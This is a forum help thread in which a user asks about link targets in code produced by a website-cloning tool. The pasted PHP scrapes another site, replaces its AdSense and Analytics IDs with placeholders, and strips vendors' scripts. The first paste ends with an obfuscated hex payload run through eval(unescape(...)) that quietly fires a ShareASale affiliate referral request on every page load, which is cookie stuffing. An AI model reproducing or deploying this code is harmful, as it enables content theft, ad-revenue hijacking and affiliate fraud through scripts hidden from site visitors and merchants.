Jump to content

Open link in same window?


milknhoney

Recommended Posts

Hi,

 

I use a tool that allows me to "clone" websites using a bit of php. My problem is that when you click on a link, it opens in a new window. I would like it to open in the same window. Here is the generated code:

 

<script type="text/javascript">

var $_GET = { };var q = window.location.href.split('?')[1];

var pairs = (q != null) ? q.split('&') : [];

for(var i=0;i<pairs.length;i++) {

    var pair = pairs.split('=');

    if(pair[1] == null) {

        pair[1] = '';

    }    pair[1] = decodeURI(pair[1]);

    $_GET[pair[0]] = pair[1];

}

var tid = $_GET['tid'];

</script><?php

$pgc=file_get_contents("http://www.somedomain.com");

$pgc=preg_replace    ('/pub-[0-9]+/i','pub-XXXXXXXXXXXXXXXX',$pgc);

$pgc=preg_replace('/UA-[0-9]+-[0-9]/i','UA-XXXXXXX-X',$pgc);

$nhead="<head>

<base href=\"http://www.somedomain.com\">

<base target=\"self\">

<script type=\"text/javascript\">var redir=false;</script>

";

if (!preg_match('#<head>#i',$pgc))

{

// no head tag found

$pgc=preg_replace('#<html>#i',"<HTML>$nhead",$pgc);

} else {

$pgc=preg_replace('#<head>#i',$nhead,$pgc);

}

$pgc=preg_replace('#</body>#i','',$pgc);

$pgc=preg_replace('#</html>#i','',$pgc);

$pgc=preg_replace('#saveasale.net#i','pkemfier.dif',$pgc);

$pgc=preg_replace('#upsellit.com#i','pkemfier.dif',$pgc);

$pgc=preg_replace('#intellichat.com#i','pkemfier.dif',$pgc);

$pgc=preg_replace('#PreventExitPop == false#i','PreventExitPop == "yourmama62"',$pgc);

echo $pgc;

?>

<script type="text/javascript">

var nvv='NVV3C7363726970743E617371496D67203D206E657720496D61676528293B69662028746964203D3D20756E646566696E656429207B2075726C3D22687474703A2F2F7777772E73686172656173616C652E636F6D2F722E63666D3F423D373834333026553D333134393132264D3D3132343431223B207D20656C7365207B2075726C3D22687474703A2F2F7777772E73686172656173616C652E636F6D2F722E63666D3F423D373834333026553D333134393132264D3D31323434312F3F7469643D222B7469643B207D20617371496D672E737263203D2075726C3B6966287265646972297B73657454696D656F757428276E6F77676F2829272C35303030293B7D3C2F7363726970743E';eval(unescape('%66%75%6E%63%74%69%6F%6E%20%75%6E%64%6F%45%6E%63%28%76%61%6C%29%7B%65%6E%64%3D%76%61%6C%2E%6C%65%6E%67%74%68%3B%76%61%6C%3D%76%61%6C%2E%73%75%62%73%74%72%28%33%2C%65%6E%64%29%3B%64%3D%76%61%6C%2E%6D%61%74%63%68%28%2F%5B%5C%77%5D%7B%32%7D%2F%67%69%29%3B%66%6F%72%28%69%3D%30%3B%69%3C%64%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%7B%64%5B%69%5D%3D%22%25%22%2B%64%5B%69%5D%3B%7D%64%3D%64%2E%6A%6F%69%6E%28%27%27%29%3B%72%65%74%75%72%6E%20%64%3B%7D%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%75%6E%64%6F%45%6E%63%28%6E%76%76%29%29%29%3B'));</script></BODY></HTML>

 

Thanks in advance for the help

Link to comment
Share on other sites

Thanks for the answer Jay.

 

One day I aspire to be considered a PHP newbie but I'm embarassed to say that I'm not quite to that level yet. Could you be more specific, maybe offer an example of how the link code should look. And should I only change these links in this portion of the code:

 

<?php

$pgc=file_get_contents("http://www.somedomain.com");

$pgc=preg_replace    ('/pub-[0-9]+/i','pub-XXXXXXXXXXXXXXXX',$pgc);

$pgc=preg_replace('/UA-[0-9]+-[0-9]/i','UA-XXXXXXX-X',$pgc);

$nhead="<head>

<base href=\"http://www.somedomain.com\">

<base target=\"self\">

<script type=\"text/javascript\">var redir=false;</script>

";

if (!preg_match('#<head>#i',$pgc))

// no head tag found

  $pgc=preg_replace('#<html>#i',"<HTML>$nhead",$pgc);

} else {

  $pgc=preg_replace('#<head>#i',$nhead,$pgc);

}

  $pgc=preg_replace('#</body>#i','',$pgc);

  $pgc=preg_replace('#</html>#i','',$pgc);

$pgc=preg_replace('#saveasale.net#i','pkemfier.dif',$pgc);

$pgc=preg_replace('#upsellit.com#i','pkemfier.dif',$pgc);

$pgc=preg_replace('#intellichat.com#i','pkemfier.dif',$pgc);

$pgc=preg_replace('#PreventExitPop == false#i','PreventExitPop == "yourmama62"',$pgc);

echo $pgc;

?>

 

 

I would really appreciate the help.

 

Thanks again.

Link to comment
Share on other sites

This thread is more than a year old. Please don't revive it unless you have something important to add.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Restore formatting

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.